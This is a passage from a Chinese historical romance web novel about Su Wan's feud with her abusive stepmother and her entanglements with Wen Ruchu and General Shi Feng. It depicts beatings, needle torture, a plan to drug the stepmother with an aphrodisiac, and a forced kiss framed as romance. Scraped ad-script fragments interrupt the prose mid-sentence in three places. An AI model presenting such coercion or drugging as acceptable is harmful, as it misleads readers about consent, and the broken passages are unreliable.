苏夫人闻言一颤,之前与温如初几次过招,让她自以为了解他的意图——所谓联姻,不过是一场政治利益交易。然而温如初露出獠牙,丝毫不肯退让,教她看不透彻。她不是已经双手奉上苏家嫡女,这明明是件光耀门楣的喜事。 苏夫人急道:“我的沅儿有什么不好?配不上你温如初?她一直钟情于你……” “啪嚓”,手中狼毫一折两断,敢情户部衙门的文具,件件脆生不堪折。 温如初哂笑道:“你的沅儿国色天香,温某自知人微言轻,当然配不上她。自古王侯将相觅良婿,怎么着也得是位王君,才衬得起你苏家荣光。” 桃花眼眸一转,“苏君识有没有和你提过,最近有一位‘无上荣耀‘的王,派使者入京朝贡,以求取和亲?” 苏夫人隐约回忆,似乎好像有这样一回事,西藏吐蕃土司欲跟我朝交好,上书求娶东方公主。彼时她还嘲笑那位西藏土司“壮硕如熊、力可拔山”,天底下哪位公主愿意舍身嫁给一头畜生。 苏夫人惊道:“你、你什么意思?他和不和亲,与我何干?” 温如初笑道:“当然有关系。圣上命户部礼部办理跟进,拟选出身良好的贵族子女,作为秀女跟随公主远嫁西藏土司。我正愁天涯何处觅芳草,你看,这不就送上门来?” 苏夫人霎时吓得脸色惨白,世人皆知,和亲悲远嫁,出嫁公主非死即伤,下场惨淡苦楚,更不消说随嫁的秀女。温如初竟然要把她的孩子送去和亲随嫁,这不是要了她的老命么? 她颤抖着声音威胁道:“温念,你安的什么心?竟算计到我头上,你敢动沅儿一根手指,我叫你吃不了兜着走!” 温如初掀眸凉凉道:“天堂有路你不走,地狱无门自来投。” 苏夫人气急败坏,冲上前去欲掐死他,却被温如初一脚踹倒在地,“少在我面前耀武扬威,整日算计拿捏我,还敢厚着脸皮送悔婚书换新娘。收起你那些龌龊心思,苏绾,我非娶不可。” “而苏沅芷,就是你惹怒我的代价!”温如初居高临下,眼眸侵染一层冷漠霜气。 苏夫人被他一脚踹中腹部,一口气差点没上来。她挣扎着想要爬起身跟他拼命,两眼昏黑匍匐一阵也没边际。苏夫人搬石头砸自己脚,顿感悲从中来,索性不爬了,坐在地上嚎啕大哭。 她从小娇生惯养,嫁到苏家也是颐指气使,哪里受过这种窝囊气。 温如初可不惯着她,挥手招来锦衣卫,七手八脚拖拽苏夫人扔出府衙。 “滚,我不想见你这张老脸皮。” 苏夫人就这样,光天化日被温如初赶出户部衙署,引来众多人员观看,指指点点不断。有那好信者,认出她是苏府的家母,连连惊呼:“苏夫人,怎得被姑爷赶出门来?” 好在苏夫人尚有廉耻之心,赶紧以袖遮面,连说:“认错人了,我不是苏夫人。” 一边爬起来拍拍屁股走人,一路上跌跌撞撞,被踢中的腹部隐隐作痛,苏夫人捂着肚皮詈骂,姓温的也忒猖狂,早晚犯在她手里。 回到苏府,恰逢苏君识“叛变”,该着她黄历犯太岁,不宜出门。 原来苏君识提早下朝,悄悄拐去柴房,叫小厮撬开锁头,释放被囚禁数日的芸娘和无霜。 芸娘一见苏君识,立马哭成泪人儿,直呼:“我的心肝肝,再晚一步,妾与君阴曹地府相会。” 苏君识心疼地要命,恨苏夫人歹毒,叹芸娘娘俩命苦,怀抱佳人磨蹭,一转身钱袋又飞出两千。 芸娘的闺房被喷洒石灰,恶臭无比,根本不能住人。趁母老虎不在家,苏君识不仅从书房搬走自己的铺盖,还命人将府邸西边偏院打扫干净,东西厢房齐备,大有让芸娘另开灶火的意思。 等苏夫人匆忙赶回府,宅内早已大变天。苏夫人才刚吃了满嘴瘪,又见眼前人去楼空放妓归,气得捶胸顿足,恨不得将一众狗男女通通掐死。 可她叫嚣半日,偌大厅堂空荡荡,并无一人搭理她。原来仆从也被调走大半,搬弄收拾二奶奶新家去了。 苏夫人恨不打一处来,想起昨日才刚春风得意马蹄疾,怎的一夜之间东风转向,专跟她过不去。 月白烟青水暗流,一种相思,两处闲愁。 苏绾坐在马车内,感到些许不自在。因为对面坐着的那位黑脸将军,似乎心情不佳,插着双臂一言不发。 “时将军救我于水火,奴家感激不尽,将军这份恩情,不知如何回报,他日若有用得上奴家的地方,请一定不要客气,奴家自当鼎力相助。” 时枫睨着她,目光犀利如剑,似要将她一剑穿透,半晌冷冷道:“用你的地方,仙人跳么?抱歉,本将军从不干那偷鸡摸狗,见不得光的坏事。” 他话语带刺,让苏绾感到莫名其妙,离开大理寺前还好好的,两人相敬如宾。怎么这会子突然冷漠无情好似一口冰窟窿,由内而外散发寒气? 苏绾不信邪,又问道:“将军为何改变主意,将我的案底销除?” 时枫没好气地答道:“你比狐狸还狡猾,人证物证皆被你推翻,我再强行关押你,某人会踏破我家的门槛。” 苏绾会心一笑,“人正不怕影子歪,公道自在人心。” 想必是那封悔婚书和银针双管齐下,所导致的结果。 男人一声嗤笑,“我看是老天不长眼。” 老天如果长眼,就不会让他三更半夜送她回家。跟他多待一阵能死人吗?她就这么急着回去,回到那个吃人的家里? 亏他还尽心尽力亲手喂她喝粥! 那疯婆娘一边捂着心口喊疼,一边谎称手臂无力抬不起来,害得他不得不一勺一勺喂给她吃。他从小到大没伺候过任何人! 清冷月光透过轻薄纱窗,照进车厢,将男人的怒容映得一清二楚。 苏绾抬手去接那缕柔光,手心沾染一片银白。刺进体内的七根银针,好似被月光魔法打败,全部销声匿迹,不留一丝痛感。 留给她的时间不多了。 如果,眼前的人愿意帮助她销除案底,那么,他是否能再多拉她一把,救她脱离苦海无涯。 “时将军。”苏绾向时枫凑近,星眸仰望他,“奴家所求,不过借君一臂之力,助我沉冤得雪。奴家愿付一切代价。” 一切……代价…… 瞬间脑海里翻腾无数映像,妩媚的,狡猾的,愤怒的,伤心的,破碎的,绝望的,她。 分不清梦境与现实之别。 他索取的代价,是什么?庇护她的周全?还是报复她的欺骗? 男人怔愣地凝伫,忘却了时间。 外面马蹄踏踏,内里沉寂如水。 过了许久,苏绾没有等到答复,渐渐垂下螓首,遮住眼底黯淡的光彩,“算了,当我没说过。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “哼,说出去的话,泼出去的水,说收就收?你想得美!招惹了本将军,轮不到你喊停,你没资格跟我讨价还价。”男人冷冷说道。 轮到苏绾愣住。 这个混蛋,反反复复,喜怒无常,软硬皆不吃,就是不肯放过她! 马车悠悠行至东城,停泊苏家府邸。 孤月当楼满,残花伴醉人。烛影摇曳,忽明忽暗,照得堂前半真半幻,人间地府难分。 苏夫人栽歪塌边,恹恹欲睡,一婆子轻敲小腿。将睡不睡,闻得京卫指挥使到访,惊得一脸青光。 所谓来者不善,善者不来,夜半登门,大多为缉拿罪犯,怎么抓到她家里来。 “将军深夜造访,敢问是何要事?” 时枫也不搭理她,大摇大摆趸进厅堂,一屁股坐在太师椅内,冷冷问道:“苏郎中呢?” 苏君识正在芸娘房内享受鱼水之欢,当下传他过来,难堪的可是苏夫人。 “老爷已歇息,有话跟老身谈。” 时枫懒懒搭着手臂,觑着苏夫人道:“经大理寺核实,苏家二女苏绾,本分守己,遵纪守法,未曾有半点逾矩之过。此案已撤销,再不许有人借机说三道四,裹挟威胁。一经发现,必严处之。” “什么?”苏夫人一惊,“可是温侍郎的主意?” “胡扯,大理寺审案,关别人什么事?你莫要血口喷人,牵连无辜。”时枫眼眸一沉。 苏夫人听他语气不善,一时也搞不清楚状况,只得应承下来,“好好,销案自是大好,多谢将军告知。老身明日一早就去大理寺领人。” “不必了,人我给你送回来,就在门外的马车内。”时枫一挥手,示意晴雷将苏绾领进来。 苏绾在苏夫人惊诧目光下,莲步轻摇,趸进厅堂,上前拜道:“女儿回来了,母亲辛苦挂念。” 眼神交接一刹那,仇人相见,分外眼红。 苏绾还算安分,苏夫人倒是坐不住凳子,她在温如初那里吃的亏,非要从小杂种身上找补回来不可。 “你还知道回来,瞧瞧你把这个家折腾成什么样?做母亲的简直为你操碎心。” “你给人家大理寺和时将军添了多少麻烦?大张旗鼓地逮捕你,兴师动众地送回来,你都不嫌羞臊!” “去祠堂领家法,面壁罚跪三日。” 忽然堂前一声呵斥:“慢着。” 声音洪亮,吓得苏夫人一哆嗦,抬眼一看,“冷面阎罗”怒发冲冠,猛然拍案而起,“听不懂人话?本将军再重申一遍:苏绾无罪,案件撤销。” 他一字一顿道:“莫非,你想以一己之力,挑战大理寺和本将军权威?” 苏夫人茫然摇了摇头。 时枫冷冷道:“本将军接到线报,苏家有虐待子女之举。按我大熹例律,虐待子女者,杖罚五十,官员加三倍。” 这话耳熟,她在哪里听过来着? “鉴于你一贯恶行,本将军现以京卫指挥使身份命令你,须为苏绾单独隔开庭院,有事无事不得随意叨扰。” “今后再敢无故体罚她,本将军亲自抓你下狱。听清楚了?” 苏夫人越发觉得事有蹊跷,京卫指挥使旨在拱卫京师,怎么管起宅子里的私事?联想到前前后后,有关时枫的真假传闻,苏夫人渐渐想明白一件事。 这俩人之间有苟且! 原来如此,小婊子狐媚子术果真厉害,一头魅惑温侍郎,“非她不娶”,另一头拉扯时将军,“抓你下狱”。 苏夫人气上心头,却不敢当众揭穿他。他“冷面阎罗”名声在外,京城妇孺皆知。惹恼他的代价,恐怕不是捱一脚踢那么简单。纳征那日,苏沅芷已经提前领教过了。 苏夫人咬牙道:“听清楚了。民妇绝不敢以身试法,请将军息怒。” 转过身,冲着苏绾咬牙切齿,“女儿,将军有令,你搬去偏院西厢房,同姨娘作伴,取消晨昏定省,吃住自开灶火。” 苏绾嫣然一笑,打了个万福,“女儿谢过母亲。” 随后众人各自散去,苏绾暂住她原本闺房,无霜等候已久,二人执手相看泪眼,竟无语凝噎。细细问过几遍,方知狱中苏夫人犯下的孽行,苦得无霜跪地痛哭流涕。 这边始作俑者苏夫人,顶着硕大月亮,在书房奋笔疾书。 满纸荒唐言,一把拈酸泪,带着她对所有人的憎恨,接着月色,一同飞向浙江布政使衙署。 21. 邀请 四月天似孩童脸儿,方才晴空万里,全无一点纤凝,转眼即电闪雷鸣,倾盆大雨滂沱。 下了没一炷香工夫,雨势渐渐式微,雷声大,雨点小,好比那不中用的男人,讪讪地下了床榻。 温如初身穿湖绿色圆领袍,仙姿玉貌,负手立于书房窗前,看雨僝云僽。 户部侍郎温大人最近烦恼不断:先是未婚妻被人诬陷有奸情,纳征定亲宴无端搅黄;后又传言此女作奸犯科,母家亲自登门谢罪,痛哭流涕不起。 啧啧,温大人眼光不怎么样嘛。 凭他的资质才华,想要攀附他的大有人在,什么样的倾城芳菲都有,何必偏在歪脖树上吊死。 嘘,温大人深情似海,听不得别人说他未婚妻坏话。 流言蜚语,像长了翅膀,传遍京城官场。羞辱如空穴来风,丝丝缕缕飘入户部衙署书房,隐没团团墨香茶气中。 温如初随手拾起案边一杆狼毫,毫尖许久未用,已有些风干。心有千百结,错综复杂,不得头绪。 太多事情发生,总有些不对劲。 纳征“奸夫”一案,尚且没有定论,又多一宗“悔婚”事件,叫人应接不暇。 究竟什么人,在背后捣鬼? 那份悔婚书的确出自苏绾手笔,然多半受苏母胁迫所致,并无参考价值。 问题在于苏绾被抓住的把柄——假扮算命先生,街头占卜行骗,积敛钱财。 她要钱做什么? 苏绾并非爱慕虚荣,贪得无厌之人。平时衣着朴素无华,也不爱穿金戴银。一年到头,不过一点胭脂水粉开支,几两银子的事。 近两年来,温如初送给她的礼物车载斗量,每次她都浅笑安然,细声细语:“绾绾不需要这些东西,有念哥哥在,绾绾知足矣。” 亦不可能为嫁妆担忧,温如初自从向她求婚第一日起,就向所有人明确表示,只要能娶苏绾过门,不在乎嫁妆不嫁妆,并且彩礼翻倍。 他想不通她要钱的理由。 桃花眼眸一沉,也罢,既然如此,不如亲自问她要个解释。 温如初丢下手中狼毫,拍拍手掌,叫来侍从远舟,“你去苏家一趟,请二小姐端阳节醉仙楼会面。” 远舟拜道:“是。” * “绾绾,这是我为你打下的江山,喜欢吗?” 放眼望去,大地满目疮痍,天空布满血色,凛风呼啸,万鬼恸哭。 苏绾摇头,“不要,我不要。” 温如初头戴翼善冠,身披衮龙袍,上绣十二章纹。缱绻多情桃花眼,皎如玉树临风前,向她伸出手。 苏绾惊惧,转身欲逃,却被他手臂扼住喉咙,她拼命挣扎,“放开我,你放开我。” 温如初凑近耳畔,“我怎么舍得放你走。绾绾,你永远都逃不出我的手掌心。” 他捏着苏绾两臂,麻绳一圈一圈,缠绕脖颈,手腕,脚踝,桎梏在十字桩。 整桶松树油从肩头浇灌,散发诡异的松香,令人几欲窒息。 “绾绾,你是为我而生的。这一刻,我们将融于一体,永世不得分离。” 温如初高举火把,火焰明亮如昼,映照他洁白如玉面颊,鬼魅似的阴黄。 一滴清泪自桃花眼迸离,流淌过少年多情唇际,落入苏绾心头。 绣满六道轮回的衣袍撕裂,露出胸前纹有一点朱砂,细看却是一个“念”字,出自温如初的手笔。 他要苏绾刻骨铭心,永远怀念他。 苏绾的声音沉浸油脂,混沌而绝望,怆地呼天,“我不要死,不要死!” 那火焰冲天,香阵透京城,烧尽牛鬼蛇神。繁花似锦,朝阳照耀生红霞。慢等骁勇将军,杀出黎明,抚绥万方,美人见曙光。 苏绾自梦魇睁开眼,浑身冷汗涔涔,她慌忙剥开衣襟察看,但见胸前白璧无瑕,并没有那个朱砂“念”字。 翘起鼻尖,空气中弥漫着淡淡的花香,未曾嗅到任何松油气息。 苏绾心情稍许缓和,长吁一口气,身体重重地摔在床板。 漫漫长夜,噩梦何时才能结束。 雨过初霁,天际彩虹垂,风起痴云快一吹。 小姐,小姐——” 无霜小小呼声,穿透层层叠叠紫竹林,惊飞两只斗唱的黄鹂。 “坏事啦……” 幸亏紫竹苑距离主厅甚远,微薄声音俨然淹没柳浪闻莺。 苏绾自搬入偏院紫竹苑以来,不必早起问安,不同主家吃住一处,没有嬷嬷耳提面命,出入自由许多。每日里,听雨煮茶焚香,刺绣烂柯,闲看庭前花类雪。 然而自在逍遥的外表之下,仍旧隐藏着不安跳动的心灵。温如初怎会轻易放过她,必是预备好更加猛烈的风雨崔嵬。 你看,坏事从不迟到,这不就点卯来了? 无霜揉搓满脸雨雾,结结巴巴道:“小、小姐,方才姑爷家的远舟来了,说是邀请小姐端阳节醉仙楼相会。怎么办呐?” 苏绾放下手里的绣活,开始收拾残摊,“能怎么办,我也没有推脱的借口,硬着头皮去罢。” “可、可是,小姐才刚从大牢放出来,万一姑爷不高兴,责难小姐,那可如何是好?”无霜皱着小脸急道。 苏绾停住拾掇荷包的手,“你觉得,他要害我?” 无霜瘪着小嘴,“霜儿不知。但霜儿见小姐和姑爷在一起时,心里并不快乐。那么,一定是姑爷的错,是姑爷不安好心。” 岂止不安好心,他分明是狰狞恶鬼,要将苏绾剥皮抽筋,敲骨吸髓,连渣滓都不剩。可那恶鬼戴着伪善面具,谁又能看透他的真实面目。 苏绾叹口气,重新打开荷包,掏出针线,继续缝制手里的那件嫁衣。 芸娘才刚进门,跺脚磨蹭雨泥,茶也不喝一口,扯着嗓子呼唤苏绾:“你上次教我打的那条同心结花样子在哪里?拿来给我比对比对,怎么我钩出来的不像那回事。” 她说的是墨金双色丝绦络子,苏绾本打算送给时枫还人情,结果对方不但不领情,反倒勃然大怒,狠狠摔在地上。 真不知道,那匹猎兽脑子里面长的什么弯弯绕绕,动不动就发脾气,风一阵雨一阵,着实难伺候。 可上次当他送苏绾回家的时候,车马驱驰临近府邸,男人头也不回,纵身跃下马车。 借着溶溶月色,窗帘骤然掀开,男人剪了剪凤眸,伸进一只手掌,“给我。” “什么给你?”苏绾不明所以。 男人挺身玉立,银白月纱笼罩周围,激起满身风露,高高在上地睨着她,“你不是要送我东西?怎么,反悔了?” 苏绾眨了眨眼,努力回想半日,方才想起墨金同心结这回事。 她也学他的眼神,同样地睥回去,“你不是不要嘛,我随手丢掉了。” 哪知她这点小心思,完全骗不了这匹野兽。男人嘴一撇,大掌擒过素腕,两根手指探进袖管,顷刻夹出一段丝绦络子。 薄茧指肚擦着酥臂,轻轻滑过手腕,有点点痒,令苏绾的心一紧,刹那间脸颊泛起红云。 她佯装嗔怒,低低地叫了声:“强盗。” “哼,贼喊捉贼。”男人攥着墨金络子,手指细细地捻摩,嘴角噙着一抹笑意,“你敲诈本将军三千两,我跟你讨根烂绳子,也不知是谁亏了。” 脸颊的红晕稍褪,苏绾耸了耸鼻尖,嘲道:“烂绳子?奴家旧年得人赠与西夏进贡的丝线,及苏州十年内产出最好的丝绸,打了那条墨金络子,算上奴家的手工费,三千两都亏了呢。将军这么没眼光,奴家一片心意喂了狗。” “混账东西。” “唰”的扔下窗帘,差点甩到苏绾的脸。 隔着窗帘缝隙,男人心满意足地将同心结揣进怀里,负手踱步进入苏宅大门。 苏绾回过神,充满歉意对芸娘道:“络子丢在大牢找不见了,我过阵子再重新打一条给你。” 自从大理寺狱放归以后,苏绾对狱中之事闭口不谈,但憨直如芸娘,也能猜到那是怎样的一段惊心动魄。 她上前捉住苏绾一双手,声音打着颤儿,“他们对你用刑了,是不是?” 放下手,细细地摸遍苏绾全身,“可我怎么没见伤痕?我听说大牢里,给女人上的刑罚最为残忍,夹手指都是小儿科。夫君跟我讲过一种刑罚,叫做‘骑木驴’,简直不是人受的。” 身子被她搔弄的痒痒的,苏绾想笑,却笑不出来。她所遭受的酷刑,远远超越“骑木驴”,像一层永远褪不尽的皮肤,每时每刻,都在经历剥离生命的苦楚。 “看在温侍郎的面上,他们不敢对我用刑。”苏绾撒了谎,她并不想把自己的痛苦和绝望加注在别人身上,只她一个人苦就够了。 可无霜却不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这么想。 小姐的苦,是这个吃人的家造成的,只有远远逃离,才能躲避所有的无妄之灾。 “他们不敢,可夫人敢呐。” 无霜愁闷的小脸,自身后探过来,“七根银针,七根!” 牙齿咬得紧紧,“狗嬷嬷还暗地里跟下人炫耀,二小姐就是告到天上去,也没有人相信她。” 低下头,两眼含泪,“针扎进肉里,沿着经脉全身游走,指不定哪天从肉里钻出来,好人儿也被戳烂了。” “啥?”芸娘大惊失色,脚下一滑,差点从凳子跌落。 她跌跌撞撞站起身,端着拳头,恨道:“女大虫,老娘跟你拼了。” 转身啐了一口,“再不还手,下次刀口就架脖子上了。不,已经戳进肉里,命都没了,还怎么报仇。” 心一横,拔腿就往外跑,被苏绾急急拦住,“你做什么去?” 芸娘怒道:“我去砍了她的手脚,给你报仇雪恨。” 苏绾听了又好气又好笑,“你砍了她,回头咱们双双下狱,两命抵一命,可还划算?” 她瞥了一眼无霜,“霜儿就爱吓唬人,哪有那样夸张?”将芸娘摁坐在凳上,“我的身子骨没那么弱,你看,这不还好好的吗?” 芸娘抗议道:“绝不能放过女大虫!” 苏绾笑道:“我也不是任人宰割的羔羊。她把针戳进我身子,我还她一生刺痛。只是,这笔账须慢慢清算,钝刀子割肉,才最戳心。” “老娘等不及看她慢慢死,今天我就要捶她一棒槌,死不了也要扒层皮。”芸娘恨恨道。 苏绾拗她不过,沉吟一阵,星眸掀起,“也好,守株待兔不如先发制人,先挫了她的威风,叫她吃点苦头,不敢再对你我下手。” 摊开素白手掌,“借我五两银子。” “你想怎么做?”芸娘又惊又喜。 她没想到苏绾这么容易开窍,殊不知早在半月前,苏绾已经在酝酿一桩复仇计划。 苏绾低下额首,咬着嘴唇,沉声吩咐无霜道:“你偷偷告诉文竹,去春月坊找相帮买包‘合欢散‘。家里人多眼杂,我不方便出面跟文竹这样讲。” 无霜闻言惊道:“小姐买那劳什子作甚?被老爷夫人看见,命都没了。” 芸娘虽为乡下人,然而和苏君识厮磨几年,也曾尝试过奇巧霪技,自是知晓合欢散为何物。 她思了一瞬,似有所悟,“哦哦,我晓得了,你想给女大虫下药,看她药发出丑。”转头一想,又有些不甘,抱怨道:“光是叫她出丑,也太便宜她了。” 说的对,怎可能便宜了她。 她和苏夫人的仇恨深似海,她必然还以狂风巨浪般的猛烈打击,方才对得起扎进身体的那七根银针。 * 雨过天晴,金乌西坠,玉兔东升。 书房内,时枫伸展臂膀,活动筋骨。自他调任驻守京师大营以后,平日里常在朝堂走动,多了许多书面业务来往,少了兵营里的拳脚肉搏,浑身不自在。 更不消说,他新晋得封“卫将军”称号,应酬酒局不知履行多少。今日兵部尚书请他,明日五军都督邀他,人人顶着一张和善的脸,彼此称兄道弟,恨不得立马结拜。 时枫忙得分不开身。 自老道处,得了一点哥哥的线索,他便开始着手筹谋上山。暗自调兵遣将,郊外安营扎寨。然而还未有所起色,又被另外一些事情阻拦。 时下福建都指挥使沈恪沈将军上书,言东南沿海倭寇蠢蠢欲动,时常滋扰乡民渔民。沈恪自俩月前已动身上京,亲自来协调筹划此事。沈家乃时家世交,时枫奉父命接待,不日即将到府。 他不止身忙,而且心累。 仆从奉上一杯温茶。时枫端起白玉茶盏,看杯内水雾氤氲,倒映烛火摇曳,脑海里浮现少女清澈如水星眸,耳边软音喃喃: “奴家所求,不过借君一臂之力,助我沉冤得雪。奴家愿付一切代价。” 他从怀里掏出那条墨金同心结络子,摩挲在手里,心中一夕千念:索取什么代价,才配得上他为她刮骨剖心之痛。 晴雷上前拜道:“爷,苏府的‘鳐鱼’传来密报。” 墨金丝绦络子放下,叠成细卷信笺展开,细小文字传递惊天秘密。 时枫咬咬牙,狠狠地将信笺揉搓一团,紧紧攥进手里,摁进指缝间。 22. 春药 五月初五,端阳节如期而至。 苏绾穿翡翠烟罗绮云裙,外罩泥金撒花褙子,窈窕姽婳,立在树荫底下。无霜一身绣衫罗裙,捉裙跑向街角,摇手雇辆马车。 二人钻进车厢,放下帘幔。车内拥挤,白酥手臂半搭窗台,青岚轻轻吹动帘幔,内层青纱撩拨脸颊,有一丝丝痒。 “小姐,等下见了姑爷,千万解释清楚占卜缘由,莫教姑爷认为小姐贪心。”无霜忧虑的小脸皱成一团。 无霜正值及笄之年,比苏绾小二岁。自苏绾进苏家起,就做贴身使唤丫鬟,处处尽心尽力,同苏绾拧成一根绳。 苏绾抚摸无霜发髻,柔肠百转千回。 “你不必担心,等我处理完这些琐碎,咱们就离开苏家,去云南大理,我听说那里是世外桃源,仙境人家。” “真的吗?”无霜一听,眸子陡然亮了亮。 自从那日被大少爷堵进房里强迫未遂,无霜一天都不想多待在苏家。尤其最近听说苏绾被扎针,再也没有比苏家更恶毒的主子。 迫切想逃的心情,甚至大过于对小姐出嫁的期待。假如温侍郎并非小姐的良人,那么也别指望他能救她们出水火。 无霜如此想。 马车停泊醉仙楼,苏绾外罩黑纱帷帽,遮挡绝美容颜。店小二笑脸相迎,引领两位姑娘趸上二楼雅间。 酒楼装饰格外考究,四壁张挂彩绘,花木扶疏,蝴蝶翩跹。内部空间宽敞明亮,雕花木柱耸立,桌案座椅全部采用上等红木。 京城的公子哥没事都爱来此地消磨空暇,常常三五美人作陪,谈笑风生,摇曳步入楼阁,好不风光得意。 房间位于二楼西边尽头拐角,布置清新雅致,堂前置一扇梨木落地屏风,下托披水牙子,上绘《西厢记》,人物刻画栩栩如生。 屏风后有木榻,榻上摆炕桌,方便食客聊天歇息。另一侧正对门处设红木圆桌,伴四只圆凳。 苏绾故意来得早些,她环顾打量房间布局摆设,圆凳略微有点硬,坐上去硌得慌,得备些软物。 不知是不是心魔作祟,自从体内被刺入七根银针,苏绾便生出一种怪癖,浑身靠不得硬物,否则针刺入骨疼痛。 无霜下楼找掌柜的讨要褥垫,她踮脚伏在柜台,手指比划形状大小。 忽然眼角瞥见,身材高大的男人,一身石青色衣褂,步伐稳健走来。 糟糕,这人怎么来了? 无霜欲上楼通知苏绾,已是来不及。她悄悄藏进柜台后方,惊得掌柜的龇牙咧嘴。无霜忙低声嘘他,手里晃悠一两碎银。 老天保佑,千万别坏事。 苏绾摆一壶糯米酒,两腿搭在塌边,手肘支在炕桌。五月清风自窗格钻入,吹得她慵懒困乏,昏昏欲睡。 冷不防一阵浓郁的雪松气息扫过眼角,她垂下螓首,轻揉眼底。 “怎么?有胆子赴别人的邀约,却没胆子见我?” 熟悉冷漠的声音,瞬间敲醒苏绾。 该死,怎么是他? 苏绾不敢抬头看他,她不该在此时此地,跟此人有任何交集。 先不说温如初控制欲极强,未经他许可,不许苏绾同任何陌生异□□流——他称之为“不规矩的搭讪”。 单从她自己来讲,几日前专门递过去的请帖,被对方毫不客气地一口回绝,让她有何颜面再见他,尤其还在醉仙楼! 她在心里默默祈祷,他不过是来打声招呼,就像普通朋友之间问安。 黄雀风不徐不燥,吹拂长裙摆动,似锦鲤碧湖游弋。恰时鱼尾游过一弯,拍打浪波荡漾,扑了岸边人一脸清凉。 男人饶有兴致地负手观望,外人看来,倒像驻足湖边赏鱼的公子,下一刻便要脱口而出诗词歌赋。 任谁都不会想到,他其实是那不露声色的渔夫,潜伏隐匿深林,专为捕捉水中鱼儿而来。 苏绾等待许久,也不见对方主动破冰,只好硬着头皮试探道:“这么巧,竟然碰见时将军。” “巧么?未必。”男人负手睇着她,冷冷道:“你不是做局要请我?” 没头没脑一句话。 苏绾低头思了一瞬,上一次她说要请他吃饭,还是纳征之日在后花苑。 佳人笑道:“为感谢将军救我出囹圄,奴家是有心邀请,可惜未得抽出空闲递送请柬,奴家择日再做东请你。” 男人不屑地冷笑一声,石青色衣袍一甩,一屁股坐在对面,两手交叉环抱胸前,“择日不如撞日,你要谢我,就在当下。” 那股子清冽雪松气息扑面而来,刺激苏绾心神恍惚不宁,只想赶快摆脱他。 顾不得礼仪,佳人举手指向门外,急道:“今日不可,我约了别人,一会儿就来了。先去忙你的,回头我加倍补偿,好不好?” “不好。”男人如山般岿立不动,耍起无赖,“就要你今日请我。” 他拎起桌上酒壶,斟满青瓷酒盏,潇洒举杯一饮而尽。石青色丝袍沾染星点酒气,越发衬托出快意恩仇江湖豪侠模样。 苏绾却似寒冬腊月冷水灌顶,“时将军真会说笑。”苏绾端正身子,将泥金褙子拉紧,“不瞒你说,奴家约了温侍郎,怎可能分身招待将军?” “那又如何?”时枫摩挲青瓷盏,端详杯面烧制花纹,意有所指,“今日约我,明日约他,日日进斗金。” “一杯薄酒下肚,钱财滚滚而来。仙人跳不就这点伎俩?”抬眸睨了她一眼,“还是说,你的手段不止如此。” 苏绾见他越说越离谱,方意识到对方有备而来,只是不知他手里攥着何样筹码,竟然不惧被温如初撞见。 佳人娥眉微蹙,起身欲逃离,“你喝醉了,奴家叫辆马车送你回去。” “你逃什么。”男人大手扦住雪腕,嘴角挑衅似地一抹,“叫本将军开开眼界,娼妓的本事有多大。” “看看假宝蟾与真宝蟾,谁的身子更香软。” 他一脸霪邪,满嘴龌龊,眼神佻达不屑,甚至扯出那两个字眼,听得苏绾拳头握紧。 她用力挣脱手腕,揉搓泛红肌肤,“亏我还敬你是威风凛凛大将军,翻来覆去折辱我一弱女子,有什么意思?我哪里又招惹你了?” “敢做不敢当?”男人嗤笑一声,怀里掏出一札纸头,并一块碎银,丢到她面前。 苏绾定睛一看,顿时吓得魂飞魄散。 那是她交给文竹的五两银子,叫他去春月坊买□□“合欢散”,那张纸头就是单据凭证。 这些东西怎会到他手里? 时枫似笑非笑道:“你可知,合欢散乃兵营首要违禁物?那些不要命的大头兵,偶尔会去骚扰平民百姓,合欢散是最好用的手段。只需一捻,管教妇人四肢无力,身子骨软成一滩泥,任人摆布。” 翻手回转,四两拨千斤,男人慢悠悠道:“你觉得,本将军会不会发现,你的这点鬼蜮伎俩?” 下春药被人抓住证据,天底下再没有比她更加厚颜无耻的女子,苏绾瞬间觉得“娼妓”二字,倒有些实至名归的意味。 苏绾咬咬牙,硬着头皮反驳道:“青天白日,你不要血口喷人,上面可有我苏绾的印章?” “不见棺材不落泪。” 男人站起身,居高临下睇着她,恶狠狠道:“五天前你派小厮文竹去春月坊,找一个叫石头的相帮,从他手里以五两银子的价格购买一包合欢散。还想狡赖?” 苏绾心内一凉,自己的一举一动竟然都在对方严密监视下。之前在天桥底下,他也曾说过,暗设眼线盯梢她。 这男人太可怕了。 “是我做的又如何?你再敢危言耸听,我就喊救命。楼下这许多双眼睛盯着,看你能把我怎样?”苏绾又羞又恼,走投无路,只好亮出女人天生的护身符。 “混账东西。” 男人瞬间被激怒,大手揪住苏绾的衣领,像拎小鸡子猛然提起,狠狠揿到身后坚硬如铁的墙壁,硌得苏绾浑身针刺般疼痛,忍不住小小呻吟,“哎……” 酥麻软音传入耳际,刺激男人的神经,他眼眸一沉,“给脸不要脸,还敢勾引我。” “你是不是对‘仙人跳‘有瘾?一次又一次勾引我,为什么?你告诉我,为什么!” 男人越说越狂躁,恨不得折断红颜祸水的脖颈。 “我没有。”苏绾咬着嘴唇,恨恨吐出几个字。 “还敢犟嘴。”男人气得脸色铁青,攥起铁拳竖立半晌,又不甘心地放下。 苏绾掀眸凉凉望着“冷面阎罗”,悲道:“怎么不打?打啊,打死我才算解恨。” “你这娼……”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>后面一个字终究没有吐出口,不知出于怜悯之心,还是不屑于谩骂攻击。 他竟拿她毫无办法。 男人低下头,睇着那双狡猾的星眸,闪烁粼粼微光,娇艳欲滴红唇,如春花绽放。 她的确称得上绝色佳人,眼眸晶莹如玉,澹如星子。睫毛长而翘,扑扇如蝴蝶振翅。鼻尖红润小巧,樱唇饱满,桃花含笑。皮肤白皙如雪,颈间一点美人痣,勾弄得他心潮澎湃起伏,顿觉口干舌燥。 大概是那杯淡薄的糯米酒,在他心里种了无名野火,火焰愈烧愈旺,急需冰雪消解。 可恶。 大掌撑住后脑,俯身凑近唇瓣,狠狠亲吻上去。 与前两次生疏操作不同,这一次,动作狠厉,力道充足,咬得佳人满嘴流血。 